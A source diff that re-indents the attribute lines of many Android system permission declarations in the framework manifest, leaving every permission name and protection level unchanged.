     <!-- @SystemApi Allows an application to retrieve state dump information from system services.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.DUMP"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allows an application to read the low-level system log files.
     <p>Not for use by third-party applications, because
     Log entries can contain the user's private information. -->
     <permission android:name="android.permission.READ_LOGS"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Configure an application for debugging.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SET_DEBUG_APP"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allows an application to set the maximum number of (not needed)
          application processes that can be running.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SET_PROCESS_LIMIT"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allows an application to control whether activities are immediately
          finished when put in the background.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SET_ALWAYS_FINISH"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allow an application to request that a signal be sent to all persistent processes.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SIGNAL_PERSISTENT_PROCESSES"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- ==================================== -->
     <!-- Private permissions                  -->
@@ -2262,34 +2262,34 @@
 
     <!-- @SystemApi Allows access to the list of accounts in the Accounts Service. -->
     <permission android:name="android.permission.GET_ACCOUNTS_PRIVILEGED"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows but does not guarantee access to user passwords at the conclusion of add account
     @hide -->
     <permission android:name="android.permission.GET_PASSWORD"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows applications to RW to diagnostic resources.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.DIAGNOSTIC"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to open, close, or disable the status bar
          and its icons.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.STATUS_BAR"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to be the status bar.  Currently used only by SystemUI.apk
     @hide -->
     <permission android:name="android.permission.STATUS_BAR_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to bind to third party quick settings tiles.
          <p>Should only be requested by the System, should be required by
          TileService declarations.-->
     <permission android:name="android.permission.BIND_QUICK_SETTINGS_TILE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to force a BACK operation on whatever is the
          top activity.
@@ -2297,28 +2297,28 @@
          @hide
     -->
     <permission android:name="android.permission.FORCE_BACK"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to update device statistics.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.UPDATE_DEVICE_STATS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to collect battery statistics -->
     <permission android:name="android.permission.GET_APP_OPS_STATS"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allows an application to update application operation statistics. Not for
          use by third party apps.
          @hide -->
     <permission android:name="android.permission.UPDATE_APP_OPS_STATS"
-                android:protectionLevel="signature|privileged|installer" />
+        android:protectionLevel="signature|privileged|installer" />
 
     <!-- @SystemApi Allows an application to update the user app op restrictions.
          Not for use by third party apps.
          @hide -->
     <permission android:name="android.permission.MANAGE_APP_OPS_RESTRICTIONS"
-                android:protectionLevel="signature|installer" />
+        android:protectionLevel="signature|installer" />
 
     <!-- @SystemApi Allows an application to open windows that are for use by parts
          of the system user interface.
@@ -2326,7 +2326,7 @@
          @hide
     -->
     <permission android:name="android.permission.INTERNAL_SYSTEM_WINDOW"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to manage (create, destroy,
          Z-order) application tokens in the window manager.
@@ -2334,17 +2334,17 @@
          @hide
     -->
     <permission android:name="android.permission.MANAGE_APP_TOKENS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows System UI to register listeners for events from Window Manager.
          @hide -->
     <permission android:name="android.permission.REGISTER_WINDOW_MANAGER_LISTENERS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows the application to temporarily freeze the screen for a
          full-screen transition. -->
     <permission android:name="android.permission.FREEZE_SCREEN"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to inject user events (keys, touch, trackball)
          into the event stream and deliver them to ANY window.  Without this
@@ -2353,16 +2353,16 @@
          @hide
     -->
     <permission android:name="android.permission.INJECT_EVENTS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to register an input filter which filters the stream
          of user events (keys, touch, trackball) before they are dispatched to any window. -->
     <permission android:name="android.permission.FILTER_EVENTS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to retrieve the window token from the accessibility manager. -->
     <permission android:name="android.permission.RETRIEVE_WINDOW_TOKEN"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to modify accessibility information from another app. -->
     <permission android:name="android.permission.MODIFY_ACCESSIBILITY_DATA"
@@ -2374,11 +2374,11 @@
 
     <!-- @hide Allows an application to collect frame statistics -->
     <permission android:name="android.permission.FRAME_STATS"
-                android:protectionLevel="signature" />
+         android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to temporary enable accessibility on the device. -->
     <permission android:name="android.permission.TEMPORARY_ENABLE_ACCESSIBILITY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to watch and control how activities are
          started globally in the system.  Only for is in debugging
@@ -2387,13 +2387,13 @@
          @hide
     -->
     <permission android:name="android.permission.SET_ACTIVITY_WATCHER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to call the activity manager shutdown() API
          to put the higher-level system there into a shutdown state.
          @hide -->
     <permission android:name="android.permission.SHUTDOWN"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to tell the activity manager to temporarily
          stop application switches, putting it into a special mode that
@@ -2401,7 +2401,7 @@
          critical UI such as the home screen.
          @hide -->
     <permission android:name="android.permission.STOP_APP_SWITCHES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to retrieve private information about
          the current top activity, such as any assist context it can provide.
@@ -2409,42 +2409,42 @@
          @hide
     -->
     <permission android:name="android.permission.GET_TOP_ACTIVITY_INFO"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to retrieve the current state of keys and
          switches.
          <p>Not for use by third-party applications.
          @deprecated The API that used this permission has been removed. -->
     <permission android:name="android.permission.READ_INPUT_STATE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by an {@link android.inputmethodservice.InputMethodService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_INPUT_METHOD"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by an {@link android.media.midi.MidiDeviceService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_MIDI_DEVICE_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by an {@link android.accessibilityservice.AccessibilityService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.printservice.PrintService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_PRINT_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.printservice.recommendation.RecommendationService},
      to ensure that only the system can bind to it.
@@ -2453,7 +2453,7 @@
      <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_PRINT_RECOMMENDATION_SERVICE"
-                android:protectionLevel="signature" />
+            android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.nfc.cardemulation.HostApduService}
          or {@link android.nfc.cardemulation.OffHostApduService} to ensure that only
@@ -2461,81 +2461,81 @@
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_NFC_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by the PrintSpooler to ensure that only the system can bind to it.
          @hide -->
     <permission android:name="android.permission.BIND_PRINT_SPOOLER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by the CompanionDeviceManager to ensure that only the system can bind to it.
          @hide -->
     <permission android:name="android.permission.BIND_COMPANION_DEVICE_MANAGER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Must be required by the RuntimePermissionPresenterService to ensure
          that only the system can bind to it.
          @hide -->
     <permission android:name="android.permission.BIND_RUNTIME_PERMISSION_PRESENTER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a TextService (e.g. SpellCheckerService)
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_TEXT_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.net.VpnService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_VPN_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.service.wallpaper.WallpaperService},
          to ensure that only the system can bind to it.
          <p>Protection level: system|signature
     -->
     <permission android:name="android.permission.BIND_WALLPAPER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link android.service.voice.VoiceInteractionService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_VOICE_INTERACTION"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.service.autofill.AutofillService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_AUTOFILL_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide TODO(b/37563972): remove once clients use BIND_AUTOFILL_SERVICE -->
     <permission android:name="android.permission.BIND_AUTOFILL"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by hotword enrollment application,
          to ensure that only the system can interact with it.
          @hide <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.MANAGE_VOICE_KEYPHRASES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link com.android.media.remotedisplay.RemoteDisplayProvider},
          to ensure that only the system can bind to it.
          @hide -->
     <permission android:name="android.permission.BIND_REMOTE_DISPLAY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.media.tv.TvInputService}
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_TV_INPUT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi
          Must be required by a {@link com.android.media.tv.remoteprovider.TvRemoteProvider}
@@ -2544,7 +2544,7 @@
          <p>Not for use by third-party applications. </p>
          @hide  -->
     <permission android:name="android.permission.BIND_TV_REMOTE_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi
          Must be required for a virtual remote controller for TV.
@@ -2552,39 +2552,39 @@
          <p>Not for use by third-party applications. </p>
          @hide  -->
     <permission android:name="android.permission.TV_VIRTUAL_REMOTE_CONTROLLER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to modify parental controls
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.MODIFY_PARENTAL_CONTROLS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to notify TV inputs by sending broadcasts.
          <p>Protection level: signature|privileged
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.NOTIFY_TV_INPUTS"
-                android:protectionLevel="signature|privileged" />
+         android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link android.media.routing.MediaRouteService}
          to ensure that only the system can interact with it.
          @hide -->
     <permission android:name="android.permission.BIND_ROUTE_PROVIDER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by device administration receiver, to ensure that only the
          system can interact with it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_DEVICE_ADMIN"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Required to add or remove another application as a device admin.
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.MANAGE_DEVICE_ADMINS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows low-level access to setting the orientation (actually
          rotation) of the screen.
@@ -2592,33 +2592,33 @@
          @hide
     -->
     <permission android:name="android.permission.SET_ORIENTATION"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows low-level access to setting the pointer speed.
          <p>Not for use by third-party applications.
          @hide
     -->
     <permission android:name="android.permission.SET_POINTER_SPEED"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows low-level access to setting input device calibration.
          <p>Not for use by normal applications.
          @hide -->
     <permission android:name="android.permission.SET_INPUT_CALIBRATION"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows low-level access to setting the keyboard layout.
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.SET_KEYBOARD_LAYOUT"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to query tablet mode state and monitor changes
          in it.
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.TABLET_MODE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to request installing packages. Apps
          targeting APIs greater than 25 must hold this permission in
@@ -2626,9 +2626,9 @@
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"
-                android:label="@string/permlab_requestInstallPackages"
-                android:description="@string/permdesc_requestInstallPackages"
-                android:protectionLevel="signature|appop" />
+        android:label="@string/permlab_requestInstallPackages"
+        android:description="@string/permdesc_requestInstallPackages"
+        android:protectionLevel="signature|appop" />
 
     <!-- Allows an application to request deleting packages. Apps
          targeting APIs greater than 25 must hold this permission in
@@ -2636,41 +2636,41 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.REQUEST_DELETE_PACKAGES"
-                android:label="@string/permlab_requestDeletePackages"
-                android:description="@string/permdesc_requestDeletePackages"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_requestDeletePackages"
+        android:description="@string/permdesc_requestDeletePackages"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows an application to install packages.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.INSTALL_PACKAGES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to clear user data.
          <p>Not for use by third-party applications
          @hide
     -->
     <permission android:name="android.permission.CLEAR_APP_USER_DATA"
-                android:protectionLevel="signature|installer" />
+        android:protectionLevel="signature|installer" />
 
     <!-- @hide Allows an application to get the URI permissions
          granted to another application.
          <p>Not for use by third-party applications
     -->
     <permission android:name="android.permission.GET_APP_GRANTED_URI_PERMISSIONS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to clear the URI permissions
          granted to another application.
          <p>Not for use by third-party applications
     -->
     <permission
-            android:name="android.permission.CLEAR_APP_GRANTED_URI_PERMISSIONS"
-            android:protectionLevel="signature" />
+        android:name="android.permission.CLEAR_APP_GRANTED_URI_PERMISSIONS"
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to delete cache files.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.DELETE_CACHE_FILES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to delete packages.
          <p>Not for use by third-party applications.
@@ -2678,120 +2678,120 @@
          when the application deleting the package is not the same application that installed the
          package. -->
     <permission android:name="android.permission.DELETE_PACKAGES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to move location of installed package.
          @hide -->
     <permission android:name="android.permission.MOVE_PACKAGE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to change whether an application component (other than its own) is
          enabled or not.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CHANGE_COMPONENT_ENABLED_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to grant specific permissions.
          @hide -->
     <permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS"
-                android:protectionLevel="signature|installer|verifier" />
+        android:protectionLevel="signature|installer|verifier" />
 
     <!-- @SystemApi Allows an app that has this permission and the permissions to install packages
          to request certain runtime permissions to be granted at installation.
          @hide -->
     <permission android:name="android.permission.INSTALL_GRANT_RUNTIME_PERMISSIONS"
-                android:protectionLevel="signature|installer|verifier" />
+        android:protectionLevel="signature|installer|verifier" />
 
     <!-- @SystemApi Allows an application to revoke specific permissions.
         @hide -->
     <permission android:name="android.permission.REVOKE_RUNTIME_PERMISSIONS"
-                android:protectionLevel="signature|installer|verifier" />
+         android:protectionLevel="signature|installer|verifier" />
 
     <!-- @hide Allows an application to observe permission changes. -->
     <permission android:name="android.permission.OBSERVE_GRANT_REVOKE_PERMISSIONS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to use SurfaceFlinger's low level features.
          <p>Not for use by third-party applications.
          @hide
     -->
     <permission android:name="android.permission.ACCESS_SURFACE_FLINGER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to take screen shots and more generally
          get access to the frame buffer data.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.READ_FRAME_BUFFER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to use InputFlinger's low level features.
          @hide -->
     <permission android:name="android.permission.ACCESS_INPUT_FLINGER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to configure and connect to Wifi displays
          @hide -->
     <permission android:name="android.permission.CONFIGURE_WIFI_DISPLAY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to control low-level features of Wifi displays
          such as opening an RTSP socket.  This permission should only be used
          by the display manager.
          @hide -->
     <permission android:name="android.permission.CONTROL_WIFI_DISPLAY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to control the color modes set for displays system-wide.
          <p>Not for use by third-party applications.</p>
          @hide -->
     <permission android:name="android.permission.CONFIGURE_DISPLAY_COLOR_MODE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to control VPN.
          <p>Not for use by third-party applications.</p>
          @hide -->
     <permission android:name="android.permission.CONTROL_VPN"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
     <uses-permission android:name="android.permission.CONTROL_VPN" />
 
     <!-- @SystemApi Allows an application to capture audio output.
          <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.CAPTURE_AUDIO_OUTPUT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to capture audio for hotword detection.
          <p>Not for use by third-party applications.</p>
          @hide -->
     <permission android:name="android.permission.CAPTURE_AUDIO_HOTWORD"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to modify audio routing and override policy decisions.
          <p>Not for use by third-party applications.</p>
          @hide -->
     <permission android:name="android.permission.MODIFY_AUDIO_ROUTING"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to capture video output.
          <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to capture secure video output.
          <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.CAPTURE_SECURE_VIDEO_OUTPUT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to know what content is playing and control its playback.
          <p>Not for use by third-party applications due to privacy of media consumption</p>  -->
     <permission android:name="android.permission.MEDIA_CONTENT_CONTROL"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to set the volume key long-press listener.
          <p>When it's set, the application will receive the volume key long-press event
          instead of changing volume.</p>
          <p>Not for use by third-party applications</p> -->
     <permission android:name="android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi @hide Allows an application to set media key event listener.
          <p>When it's set, the application will receive the media key event before
@@ -2799,61 +2799,61 @@
          cannot get the event.</p>
          <p>Not for use by third-party applications</p> -->
     <permission android:name="android.permission.SET_MEDIA_KEY_LISTENER"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Required to be able to disable the device (very dangerous!).
          <p>Not for use by third-party applications.
          @hide
     -->
     <permission android:name="android.permission.BRICK"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Required to be able to reboot the device.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.REBOOT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
-    <!-- @SystemApi Allows low-level access to power management.
-         <p>Not for use by third-party applications.
-         @hide
-     -->
-    <permission android:name="android.permission.DEVICE_POWER"
-                android:protectionLevel="signature" />
+   <!-- @SystemApi Allows low-level access to power management.
+        <p>Not for use by third-party applications.
+        @hide
+    -->
+   <permission android:name="android.permission.DEVICE_POWER"
+        android:protectionLevel="signature" />
 
-    <!-- Allows access to the PowerManager.userActivity function.
-    <p>Not for use by third-party applications. @hide @SystemApi -->
+   <!-- Allows access to the PowerManager.userActivity function.
+   <p>Not for use by third-party applications. @hide @SystemApi -->
     <permission android:name="android.permission.USER_ACTIVITY"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
-    <!-- @hide Allows low-level access to tun tap driver -->
+   <!-- @hide Allows low-level access to tun tap driver -->
     <permission android:name="android.permission.NET_TUNNELING"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Run as a manufacturer test application, running as the root user.
          Only available when the device is running in manufacturer test mode.
          <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.FACTORY_TEST"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to broadcast a notification that an application
          package has been removed.
          <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.BROADCAST_PACKAGE_REMOVED"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to broadcast an SMS receipt notification.
          <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.BROADCAST_SMS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to broadcast a WAP PUSH receipt notification.
          <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.BROADCAST_WAP_PUSH"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to broadcast privileged networking requests.
          <p>Not for use by third-party applications.
@@ -2861,87 +2861,87 @@
          @deprecated Use {@link android.Manifest.permission#REQUEST_NETWORK_SCORES} instead
     -->
     <permission android:name="android.permission.BROADCAST_NETWORK_PRIVILEGED"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Not for use by third-party applications. -->
     <permission android:name="android.permission.MASTER_CLEAR"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to call any phone number, including emergency
          numbers, without going through the Dialer user interface for the user
          to confirm the call being placed.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CALL_PRIVILEGED"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to perform CDMA OTA provisioning @hide -->
     <permission android:name="android.permission.PERFORM_CDMA_PROVISIONING"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to perform SIM Activation @hide -->
     <permission android:name="android.permission.PERFORM_SIM_ACTIVATION"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows enabling/disabling location update notifications from
          the radio.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CONTROL_LOCATION_UPDATES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows read/write access to the "properties" table in the checkin
          database, to change values that get uploaded.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.ACCESS_CHECKIN_PROPERTIES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to collect component usage
          statistics
          <p>Declaring the permission implies intention to use the API and the user of the
          device can grant permission through the Settings application. -->
     <permission android:name="android.permission.PACKAGE_USAGE_STATS"
-                android:protectionLevel="signature|privileged|development|appop" />
+        android:protectionLevel="signature|privileged|development|appop" />
     <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
 
     <!-- @hide Allows an application to change the app idle state of an app.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CHANGE_APP_IDLE_STATE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide @SystemApi Allows an application to temporarily whitelist an inactive app to
          access the network and acquire wakelocks.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CHANGE_DEVICE_IDLE_TEMP_WHITELIST"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Permission an application must hold in order to use
          {@link android.provider.Settings#ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS}.
          This is a normal permission: an app requesting it will always be granted the
          permission, without the user needing to approve or see it. -->
     <permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"
-                android:label="@string/permlab_requestIgnoreBatteryOptimizations"
-                android:description="@string/permdesc_requestIgnoreBatteryOptimizations"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_requestIgnoreBatteryOptimizations"
+        android:description="@string/permdesc_requestIgnoreBatteryOptimizations"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows an application to collect battery statistics -->
     <permission android:name="android.permission.BATTERY_STATS"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allows an application to control the backup and restore process.
     <p>Not for use by third-party applications.
          @hide pending API council -->
     <permission android:name="android.permission.BACKUP"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows a package to launch the secure full-backup confirmation UI.
          ONLY the system process may hold this permission.
          @hide -->
     <permission android:name="android.permission.CONFIRM_FULL_BACKUP"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Must be required by a {@link android.widget.RemoteViewsService},
          to ensure that only the system can bind to it. -->
     <permission android:name="android.permission.BIND_REMOTEVIEWS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to tell the AppWidget service which application
          can access AppWidget's data.  The normal user flow is that a user
@@ -2950,25 +2950,25 @@
          An application that has this permission should honor that contract.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.BIND_APPWIDGET"
